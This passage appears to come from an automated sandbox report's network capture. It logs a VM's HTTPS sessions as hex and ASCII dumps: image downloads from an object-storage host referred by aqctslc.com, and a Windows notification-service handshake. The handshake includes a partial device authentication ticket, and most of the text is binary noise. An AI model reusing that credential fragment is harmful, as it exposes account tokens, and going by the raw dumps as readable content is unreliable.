1Oi<`vhG2hqNJP8J0P)M+?44FAEF3N(G`sA^3@N)$"$Lvs@9SAZ.gB)ZcSDKQ)[:m8*.Vss^1d9Pzpc \ELSeSXXEuE9_@",)q
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 8f b3 a6 b7 30 69 23 39 34 99 4f ad 0d a4 4a 01 ad 21 ab c2 a3 b5 35 b5 88 89 a5 c9 48 56 46 67 f6 4c d4 e1 a4 cb ef 5a 69 a9 c2 45 23 6a b1 03 da 8e 4a 5d c2 c8 ce fe c9 97 d4 d3 86 8f 20 ab a7 56 8f 3d 29 c7 57 88 0e 82 8e 4a 41 64 52 1a 3b 93 4e 1a 33 8f 5a b4 ba cc 43 a8 14 a7 5b 88 53 51 a4 16 45 5f ec 77 14 7f 64 3e 2a df f6 d4 44 76 a7 0d 66 23 c7 14 f9 69 05 91 98 74 c9 b3 81 4a 34 a9 b1 de b4 46 ab 0e 7b 53 ff 00 b5 e1 c7 6a 5e ce 97 71 d9 19 9f d9 72 d1 fd 93 29 35 a5 fd ab 16 7b 53 4e ad 18 3d 29 72 52 ee 2b 22 97 f6 3c b4 d6 d2 25 15 a1 fd b1 1d 21 d6 22 34 72 d2 0b 22 80 d1 e4 1d 69 5b 49 72 0e 2a f3 ea f1 85 e2 98 ba ba 13 c8 a3 96 90 68 51 3a 4c 82 9c 34 97 23 a5 5f fe d6 8b da 97 fb 56 3f 6a 7c 94 c2 c8 a1 fd 91 21 3c 66 9d fd 8e e0 55 ef Data Ascii: 0i#94OJ!5HVFgLZiE#jJ] V=)WJAdR;N3ZC[SQE_wd>Dvf#itJ4F{Sj^qr)5{SN=)rR+"<%!"4r"i[IrhQ:L4#_V?j\|!<fU
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 01 24 88 db c9 f3 14 60 1c 75 e6 bd 1e fa 13 36 9d 3c 63 19 64 20 7e 55 e7 60 ec 2e 09 c9 24 10 7d ff 00 fd 62 ba f0 ef 43 48 6c 4d 68 73 24 b1 b7 45 e5 4f fb 27 9f e6 2a 34 73 23 79 80 63 3c 30 f5 14 c6 9f 66 f6 1c 76 07 d4 54 9a 79 49 ad a5 85 80 dc af 90 7d 45 6e de 86 89 6a 3e 47 31 12 24 c0 05 71 9a 86 06 20 90 e0 98 b3 92 47 6f 7a d4 9b 4b 69 a0 0d 1b 13 91 f2 9c 64 1a 82 0b 59 6c 06 4d b3 b1 7e 1a 17 1f 23 0f 63 da a3 9c d7 d9 b4 4a ba 23 f9 66 49 51 8a 64 31 65 19 04 55 19 2d 46 9c a6 7b 69 56 f7 4f 63 87 8f 3f 34 7f 87 6a d8 d3 35 eb 8d 35 8c 36 e8 12 df 18 36 f7 6c 41 1f ee b6 2b 65 6f 74 dd 67 31 0d 01 e4 9c 8c 17 50 bb 47 e2 0d 4f 31 6a 09 9c b6 8d 7b 61 1d c1 8e ea 45 6d 3e 43 c3 9f bf 01 f7 1d c7 b8 e9 5d 85 c7 81 da 4b 73 25 a4 c9 3c 4c 32 Data Ascii: $`u6<cd ~U`.$}bCHlMhs$EO'*4s#yc<0fvTyI}Enj>G1$q GozKidYlM~#cJ#fIQd1eU-F{iVOc?4j5566lA+eotg1PGO1j{aEm>C]Ks%<L2
2025-01-09 23:51:37 UTC	948	IN	Data Raw: e9 cd 41 a9 6a 72 db 2e 13 a9 a5 71 f2 9d 82 ba 1e e2 a4 21 19 70 08 24 8e 95 e5 73 eb 3a a4 ad 81 74 20 4c e3 26 ae d8 dc dd 82 04 b7 f2 e4 e0 82 41 19 a7 72 4c 8f 1d e8 ff 00 d9 da fa 6a 10 ae c5 b9 fb d8 ec e3 ff 00 ad 5d 4e 9b 70 6e f4 db 79 fb b4 60 9f ad 37 c5 36 cd 75 e1 45 96 43 be 58 a5 52 1b 1c f2 71 52 69 d2 a7 f6 64 16 e8 06 61 50 8c c0 75 20 0c d4 4f e1 39 ab d2 ba 72 5d 0b 05 69 c1 7e 5a 41 d2 9c 1b 8c 56 47 08 dd b8 34 e0 30 29 d8 c8 a3 14 80 4e a6 97 1c 52 63 9a 70 19 a6 03 09 a5 ce 05 38 8a 6e 32 69 00 99 cd 06 9f b4 62 9a 69 d8 05 0d 4f dc 33 51 e3 8a 00 a2 c0 59 c2 95 a8 08 c1 34 02 7a 66 9d da 9b 01 9d 69 76 f1 4b bb 9a 71 e6 a4 08 71 cd 3b a1 a0 8c 51 8c d0 02 93 91 4d 34 bb 79 a6 93 8a 00 30 69 e0 11 d6 91 5b 3d a9 f9 e3 81 4e c0 19 Data Ascii: Ajr.q!p$s:t L&ArLj]Npny`76uECXRqRidaPu O9r]i~ZAVG40)NRcp8n2ibiO3QY4zfivKqq;QM4y0i[=N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49761	172.67.74.191	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:36 UTC	400	OUT	GET /images/img_678003648509e8.27521784.png HTTP/1.1 Host: imagesspace.hks3.layerstackobjects.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:37 UTC	975	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:51:37 GMT Content-Type: image/png Content-Length: 22127 Connection: close Accept-Ranges: bytes Last-Modified: Thu, 09 Jan 2025 17:12:05 GMT x-rgw-object-type: Normal ETag: "82bdf36720a5f25dc553d03aae99199c" x-amz-request-id: tx000000705427bb88ab30c-0067806109-5b286d-default CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FMG8uy70g5Kobh%2FcLv3Z2zofK7VaxRztZV1F%2F5EMeTiYoLnfkiRnSYMU8Y6FsH12IsX6yTfTpSNIk63p3gvXVBu%2FxoQX9SAcWnArQFrpOeikzx2ni0SVdpye98hzpnneuomqPBwD6F11FxdxfK6JjxRIF3Iv%2BL4z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff8561468604388-EWR server-timing: cfL4;desc="?proto=TCP&rtt=3141&min_rtt=1556&rtt_var=3604&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2481&recv_bytes=982&delivery_rate=1796923&cwnd=222&unsent_bytes=0&cid=6968881b5a039393&ts=1116&x=0"
2025-01-09 23:51:37 UTC	394	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 e5 00 00 00 64 08 06 00 00 00 b8 ab 28 ab 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 20 00 49 44 41 54 78 9c ec bd 77 98 24 57 79 e8 fd ab 5c 1d a6 7b a6 67 76 b6 77 66 f3 6a a5 d5 4a 5a 65 b5 24 10 08 11 44 30 60 23 04 5c b0 31 d7 e9 1a 07 30 9f 8d 71 f8 f8 fa 69 1b 2e 9f 13 36 c6 c6 c6 5c a2 8d b1 c9 59 22 4b 08 24 35 ca 61 57 1b b4 b3 61 36 f4 cc 4e e8 e9 58 b9 ee 1f 55 93 7a 7a 76 7a 76 67 76 17 a8 df f3 f4 33 d3 55 a7 aa 4e 57 57 9f f7 bc ef 79 03 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 9c 29 31 4d ea ee 4b eb e7 bb 1b 11 11 11 11 11 11 11 cf d9 b5 ee 5e 55 91 2e 3a df fd 88 88 88 88 88 88 38 17 Data Ascii: PNGIHDRd(pHYs+ IDATxw$Wy\{gvwfjJZe$D0`#\10qi.6\Y"K$5aWa6NXUzzvzvgv3UNWWyDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD)1MK^U.:8
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: c7 53 9e bb ab 2f b3 96 43 a5 12 4d 5f c4 16 05 14 cf 07 20 26 cc 0a e7 a6 2f 22 c9 12 99 94 cc 0b ae ed 65 5b 8f c4 da de 40 20 37 0c 7f de b9 bb fb 43 2b 78 97 52 3a 39 5a ff fe f8 f8 d4 37 fe e2 df 1e f8 62 d3 74 8c 73 f3 e9 22 22 22 22 22 22 4e cf 05 21 94 bb 93 aa fc c2 eb 07 5e 74 ec 50 f3 ae c9 6a 05 4b 52 b8 64 4d 2f c7 c7 46 99 b2 c1 4d 76 e1 58 36 00 8e 6d a3 d8 0e aa 2c cc 08 e8 a6 2f b2 26 a3 71 d1 ba 04 97 65 45 b6 6e 4c 03 10 d7 05 7a dc e0 23 1e b7 3d aa 75 0b 2f 96 a6 27 d3 45 4a 4d 01 f0 fd 27 0f 5d fb ef 5f 7f e6 d1 b1 a9 48 36 47 44 44 44 44 9c 5f e4 f3 dd 81 57 dd b2 f1 8f af db d6 fd f6 a3 e5 89 81 9f 54 6a 98 6a 9c 8c 1e 2c 75 5b 4a 0c 5f 72 10 15 15 19 70 2c 1b 59 51 10 04 8f ba 2f 62 d9 fe 8c 70 9e a8 38 3c 4b 1d 51 d3 c9 6e ef 21 Data Ascii: S/CM_ &/"e[@ 7C+xR:9Z7bts""""""N!^tPjKRdM/FMvX6m,/&qeEnLz#=u/'EJM']_H6GDDDD_WTjj,u[J_rp,YQ/bp8<KQn!
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: a9 a4 26 51 9a 63 d8 31 9d 5a 13 b2 ba cb 94 1f ac 1d 4f 4e af 2f 4b 32 15 cb 21 05 e8 9a 86 6d 9a c0 42 81 0c 90 48 04 26 74 25 d3 cf 96 8b 36 b1 66 60 80 4c 26 c5 a9 89 0a 76 e3 1b f4 c6 0f 72 e0 d0 14 6f b8 a5 8f 2f 3c 58 de 75 f1 40 d7 c8 9e a3 53 1b 0c cb 3d b6 d2 f7 2f 22 22 22 22 e2 e7 97 15 35 5f bf e3 4d 57 5f b3 63 43 e2 87 b7 e7 64 92 89 24 27 c6 2a 3c b2 db e0 8b 4f 96 89 e9 22 66 c3 a3 5a f7 a8 35 5c 8c ba 83 85 82 24 4b 48 92 cc f6 de 38 ac 5d 8f 14 4b 30 36 36 89 a0 25 f0 ac 26 5d 9e 85 24 cb a4 e3 d0 a8 1b 58 38 d8 36 e8 8a 88 e1 ab c4 5c 93 ad 99 0c a7 aa 0d 44 55 46 17 65 ea b6 03 6e 60 ce f6 05 48 74 05 26 6c 45 d3 90 e4 f9 1f 39 91 88 91 ce f6 b3 ed 8a 5d ec bc e6 4a b6 bf e4 15 28 8d 20 e7 76 7c e2 28 66 a5 cc a3 bb c7 d9 b9 49 64 78 Data Ascii: &Qc1ZON/K2!mBH&t%6f`L&vro/<Xu@S=/""""5_MW_cCd$'*<O"fZ5\$KH8]K066%&]$X86\DUFen`Ht&lE9]J( v\|(fIdx
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 18 a5 56 33 79 ce 8e 04 75 d3 e3 a6 8d 3e df dd 63 92 59 93 98 f8 dc 3d c3 57 46 a1 52 11 11 11 11 11 67 c2 19 9b af df 72 67 ee e3 d3 ff 3f 3c 24 cf 08 e4 de cc ac 43 57 b5 26 ce 73 f0 9a 46 95 45 ea 82 44 d5 30 71 6c 93 5a cd e6 a1 d2 18 97 f4 b8 48 7e 13 d1 9a a4 4b 09 14 ce ae ae 18 cf 56 e5 19 81 0c d0 d0 e2 c4 c3 e9 44 c3 67 46 20 9b be ca 64 c3 24 a5 8a a4 24 70 1d 17 d7 71 91 d6 6f 43 59 1f 94 6c 6c 9a 61 7e 6c 5d 22 1d 93 89 75 77 d3 ad 0a 74 ab 02 f1 4c 1c a9 51 05 20 95 e9 e5 92 3b df c2 25 77 be 05 21 1e e7 f8 33 4f 33 f6 c4 63 98 27 4e a0 18 0e 3d b2 c4 63 cf 1a 24 34 91 e1 31 8b 4b fa 05 c4 7a 2d f3 f2 9b d6 7f f4 4c ef 69 44 44 44 44 c4 cf 37 67 9c 3c a4 2f 11 cf 6e 4f 4d 70 f4 d4 24 f7 3d 7c 6c 9e 40 3e f0 94 8b 27 85 79 a5 65 1d 35 25 d3 Data Ascii: V3yu>cY=WFRgrg?<$CW&sFED0qlZH~KVDgF d$$pqoCYlla~l]"uwtLQ ;%w!3O3c'N=c$41Kz-LiDDDD7g</nOMp$=\|l@>'ye5%
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: f9 70 f5 a5 9b 31 26 cb ec 9e 0c ce bd b7 a9 31 e1 b8 4c 3e 52 c4 a8 37 48 f8 2e f6 13 8f 30 fa 93 1f 73 4a d3 83 0f 19 53 51 7a 82 ac 61 52 c5 c7 70 05 14 00 45 41 73 2c 2c 5f 40 15 7c ee 7a 72 8c b4 28 73 d2 f1 90 9b 2e a3 ae 0f b8 28 b5 2a 8d 46 e0 aa a6 29 31 04 c7 c2 77 e6 7b 95 27 35 91 a7 c6 7d fa d7 4a 0c 54 1a 5c 31 e8 bd e8 8e 17 6e 7b df 87 bf b8 fb 4f 97 fb a5 ac 06 c5 7c f6 79 04 26 8b c6 f4 2b 57 28 95 ce 6f af 02 8a f9 ac 0a fc 0d 41 bf ea cc f6 f1 3f 73 85 52 65 15 af 7b 39 f0 2e 82 69 d7 f4 eb 9d b9 42 e9 fb 4b 1c b7 15 f8 02 50 9b f3 7a 67 ae 50 3a 1c ee bf 86 60 10 3e bc 5a 7d 3f d7 14 f3 d9 b7 00 fd 04 df 8b 01 ec c9 15 4a f7 2f e3 f8 2c f0 39 82 7b 55 01 6a b9 42 e9 d7 c3 7d af 05 5e 09 ec 04 2e 06 ee cc 15 4a df 5e d1 0f 70 e6 7c 1c Data Ascii: p1&1L>R7H.0sJSQzaRpEAs,,_@\|zr(s.(*F)1w{'5}JT\1n{O\|y&+W(oA?sRe{9.iBKPzgP:`>Z}?J/,9{UjB}^.J^p\|
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 50 60 b6 e3 04 f3 85 f2 0d a7 69 fb cd d3 08 0a 0f f8 43 e6 0f 78 03 c0 0f 8a f9 ec 4d b9 42 e9 67 36 cb 5b 38 38 ff fa 12 cd 16 08 8d 62 3e fb ef 73 de d6 08 9e 11 c2 bf 5f 09 27 72 b5 5c a1 f4 d6 95 e8 e7 69 b8 9a 85 da f0 52 5c 13 be 3a a5 55 7b 5c 69 da 09 e5 89 96 f7 0f 02 3f 04 5a 73 29 64 09 26 90 2f cb 15 4a 3f 59 c6 35 7f d0 f2 7e 29 eb cb f7 e6 be 29 e6 b3 bd cb b8 d6 72 c9 01 bf b8 8a e7 5f 35 3a 1e a8 7b 74 f9 79 d7 ee b8 88 c7 1f fc 01 6b fb 52 0c 17 87 79 f3 8d 31 be 7a 7f 93 23 62 17 a2 26 b3 c6 1c 67 ca 57 67 46 25 4d 91 00 15 ca 35 64 49 42 96 24 1c d7 05 d7 c5 76 17 66 fa ba 72 5d 2f 57 5c a5 73 68 6a 0d 3f 7c f4 69 6e da b2 0e c3 34 59 d3 df c3 f0 83 2a ce ee 7d dc 36 90 a1 64 b8 38 a1 45 58 56 65 2c c7 9a 89 2d 9e 6c d8 f3 3c a3 a7 8d Data Ascii: P`iCxMBg6[88b>s_'r\iR\:U{\i?Zs)d&/J?Y5~))r_5:{tykRy1z#b&gWgF%M5dIB$vfr]/W\shj?\|in4Y*}6d8EXVe,-l<
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: c7 67 2f 94 d0 c4 b3 a5 98 cf b6 6a de d3 fc 46 31 9f 5d 8e d3 de ed b9 42 69 34 3c e7 4a 3e f7 ff da f2 fe 56 02 2b d6 0c 67 e0 78 d6 ca 33 2d e7 4b 2c 57 30 2f 29 94 fb d2 3a 37 ef ea bf b1 27 d3 c5 f1 d2 24 ba a6 32 32 de fe 19 b2 e7 98 8d fb 93 32 27 0f 1d e7 8b fb 5c 4a ca 1a 6a ae 02 b8 33 71 ca 92 2c cf 24 10 01 50 65 81 6f dc 73 9c 5c 7f 2f 5f 7d 6c 3f 6f 5e a7 31 bc e7 14 00 d7 3c ff 32 6a 8d 0a b5 4a 0d c3 70 49 26 34 c6 a6 da 7b 9d 4b b2 44 a3 56 23 a1 ab 58 61 82 10 41 98 ff bd aa b2 88 26 07 66 67 c7 36 71 95 d0 3b 3b ec 7f d3 19 a3 62 ba 98 9e 80 e9 d8 58 8e 87 e9 d8 f4 77 a5 b1 5d 17 77 ce e7 4c 6a a1 d7 b9 e4 63 ba 16 96 69 72 ef e3 26 83 3d 3e 49 65 9c 6d 9b 6b b8 9e bf 95 f3 eb ec d5 4e 53 96 81 8b 80 d5 12 62 bf cd f9 5d cb 6e 65 d1 b8 Data Ascii: g/jF1]Bi4<J>V+gx3-K,W0/):7'$222'\Jj3q,$Peos\/_}l?o^1<2jJpI&4{KDV#XaA&fg6q;;bXw]wLjcir&=>IemkNSb]ne
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 5c d6 0b 36 13 c4 78 b7 52 5b 6c 29 a7 98 cf fe 1a 81 45 e8 4d 1d 66 53 5b 38 48 2e 83 30 84 70 fd d9 9c 63 15 78 96 ce 32 81 6d 64 61 7e 73 80 3b 98 e3 23 b0 2a de d7 92 24 aa 71 75 b6 59 a5 de 9c dd e7 db b8 42 20 5c 6d 57 62 11 25 78 06 d7 73 e9 d1 44 14 75 36 0b 56 3c a6 62 da 1e 5a 4c c5 6c ce 6a ad bd a2 49 53 15 f8 c8 77 1f e4 8a 1f c4 a9 99 0e a9 b8 1a 26 24 81 b1 c6 ec 67 5d 77 fd 29 36 3d e2 b1 ef a8 c8 86 9e 24 97 6d e8 e6 17 7e ef 76 f6 7c eb 49 9e 7a ea 28 76 43 c0 16 82 e3 a6 b5 e1 86 65 ce 33 65 07 9f c1 a5 eb 8a 5d 64 2f 9d 2f c3 0e 7c b0 c0 86 5f fe 1d 6e db 35 c0 7d 7b 47 71 aa 4d d2 e9 34 56 b3 39 a3 79 67 b3 09 f4 30 24 2b 1d 13 b9 74 7d 8c 8d 6b 74 a0 46 52 97 fb ca 35 5b 66 d6 cd ff 9c 11 7a 13 b6 73 b2 81 60 7d f4 25 04 b3 e7 95 b8 Data Ascii: \6xR[l)EMfS[8H.0pcx2mda~s;#*$quYB \mWb%xsDu6V<bZLljISw&$g]w)6=$m~v\|Iz(vCe3e]d//\|_n5}{GqM4V9yg0$+t}ktFR5[fzs`}%
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: d9 6f 03 bf 30 67 b3 4e 60 da bf 63 b5 3a 36 97 25 85 b2 2c cf ba 27 c7 e2 2a aa ec 52 b6 7c 62 cc fa 9d c8 8b 38 ec 69 f8 ac ed 4d a1 ea 1a 92 9e 22 55 19 27 7d e9 25 00 d8 e3 63 34 2c 1b 5d 16 39 56 36 70 a4 18 be bf b0 3b 6b 14 97 51 c0 f0 05 a6 1a 12 7b 1d 93 e7 56 6a dc f2 0b d7 b0 fb 27 4f f0 dc 9b bb 38 76 7f 60 52 57 24 89 91 72 8d 7a d5 a4 51 69 d0 68 04 ce 63 db 5e 1c e3 ff 7f cf 51 1e 3c ee 31 a0 f8 34 c3 ae 76 a9 02 c2 55 37 12 cb cc 9a d6 e7 3a 78 5d ba e5 c7 88 b7 0c f0 e0 c7 0e 00 b0 f5 85 b7 32 fa c0 3d 18 35 0f 2c 0f 59 95 d1 fb 83 c2 36 ae 39 49 3a a5 e0 db 06 ba e0 72 32 94 c3 eb 32 b0 75 30 c9 b1 b1 76 36 84 55 e7 1d 74 36 f1 7a 7b 31 9f 7d ff 99 66 f7 ca 15 4a 63 c5 7c f6 52 02 67 98 d7 84 9b 3d 2e fc 42 02 7f 50 cc 67 ff e0 0c 8e 6b Data Ascii: o0gN`c:6%,'*R\|b8iM"U'}%c4,]9V6p;kQ{Vj'O8v`RW$rzQihc^Q<14vU7:x]2=5,Y69I:r22u0v6Ut6z{1}fJc\|Rg=.BPgk
2025-01-09 23:51:37 UTC	942	IN	Data Raw: e2 0c a7 1d 38 fb d2 c1 72 ca a9 8a bb b7 51 6e 12 8f 2b ac ed 4b d1 1d 9f 1f 33 9e 4e c7 88 27 21 2e 0b 64 52 2a a2 1b 4c 74 06 07 d7 11 57 15 54 5d 23 bd 6e 2d 4a 3a cd d4 c9 11 4e 94 c6 d8 7b 64 84 e3 e3 75 34 45 a4 4b 93 e9 4f 27 d0 62 ea 3c ef ec f1 9a c7 f7 ef 3d c1 c5 dd f3 d7 63 9b 08 fc d5 fb 9f 64 f7 be 32 6e 33 f8 fe 5c b3 49 22 3e 45 57 ca a6 dc 93 65 4a 8e 51 f4 2e e2 80 d1 47 ad 1e 08 73 85 38 83 3b af 42 49 77 61 59 4b 7f ef ee 75 bf 8a 77 c3 6b e9 39 7a 1f 00 8d b1 60 a1 f8 f9 b7 07 4e c6 75 cb a6 e6 07 e7 f1 dc d9 3e 4e e7 2a 49 24 55 8e 4c ba 1c 2e 35 4a e7 b8 74 e3 5f d1 7e ed eb 6f 72 85 92 91 2b 94 ee 07 be db 66 ff ef 15 f3 d9 0b 2e 79 c3 0a 72 35 41 ca d1 c4 9c d7 d5 6d da fd 7a b8 af 87 c0 91 26 c1 ec fd ba b5 4d fb 9f f6 fa d0 ab Data Ascii: 8rQn+K3N'!.dRLtWT]#n-J:N{du4EKO'b<=cd2n3\I">EWeJQ.Gs8;BIwaYKuwk9z`Nu>NI$UL.5Jt_~or+f.yr5Amz&M

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49759	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:36 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 2b 54 6f 73 43 4c 45 46 6e 30 36 5a 33 31 55 67 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 61 37 61 35 65 32 33 65 34 63 31 36 36 31 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: +TosCLEFn06Z31Ug.1Context: 6a7a5e23e4c16610
2025-01-09 23:51:36 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-09 23:51:36 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 2b 54 6f 73 43 4c 45 46 6e 30 36 5a 33 31 55 67 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 61 37 61 35 65 32 33 65 34 63 31 36 36 31 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 4e 76 78 51 38 4f 2b 6b 35 4f 41 55 2f 74 76 6e 75 58 62 30 72 66 39 4a 4d 49 76 30 4b 69 67 39 32 6c 66 56 52 62 71 74 37 52 37 51 45 43 57 72 63 6b 47 54 67 42 53 36 58 2f 36 68 33 71 7a 58 70 39 6e 6f 46 51 64 68 38 54 61 38 31 38 78 70 64 65 35 58 51 30 7a 76 75 2b 4a 63 7a 73 49 72 59 6e 34 78 48 44 6b 42 4f 79 79 61 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: +TosCLEFn06Z31Ug.2Context: 6a7a5e23e4c16610<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYNvxQ8O+k5OAU/tvnuXb0rf9JMIv0Kig92lfVRbqt7R7QECWrckGTgBS6X/6h3qzXp9noFQdh8Ta818xpde5XQ0zvu+JczsIrYn4xHDkBOyya
2025-01-09 23:51:36 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 2b 54 6f 73 43 4c 45 46 6e 30 36 5a 33 31 55 67 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 61 37 61 35 65 32 33 65 34 63 31 36 36 31 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: +TosCLEFn06Z31Ug.3Context: 6a7a5e23e4c16610<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-09 23:51:36 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-09 23:51:36 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 56 64 72 59 5a 67 38 74 44 55 6d 4d 2f 51 75 6c 57 48 45 41 42 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: VdrYZg8tDUmM/QulWHEABw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49766	104.26.3.190	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:36 UTC	632	OUT	GET /images/img_678003ec457cb9.14918951.jpeg HTTP/1.1 Host: imagesspace.hks3.layerstackobjects.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:37 UTC	978	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:51:37 GMT Content-Type: image/jpeg Content-Length: 13645 Connection: close Accept-Ranges: bytes Last-Modified: Thu, 09 Jan 2025 17:14:20 GMT x-rgw-object-type: Normal ETag: "87fba007100039d9299ebbfb126b8e64" x-amz-request-id: tx000007e6aa0339aceb4f2-0067806109-5b286d-default CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GbmfjTydNI2RtCHCoHiE6UF7m4JAFKiHdJaAW4YpL5Gq1kAWp8NcY5JxMH6Yn7uvCHgDKmiiMYLoL%2FsqZb9RdNK%2BNACI8PHF4%2F9AY0uQq59Xi2%2Fk3kH22KMuPJhhPs9lIk8zPL%2BCWF1oa7gAHpRGJbkZLXaqiePO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff85615ba850c90-EWR server-timing: cfL4;desc="?proto=TCP&rtt=6919&min_rtt=1679&rtt_var=10949&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2481&recv_bytes=1214&delivery_rate=1694718&cwnd=211&unsent_bytes=0&cid=6aff886785ae4c48&ts=1130&x=0"
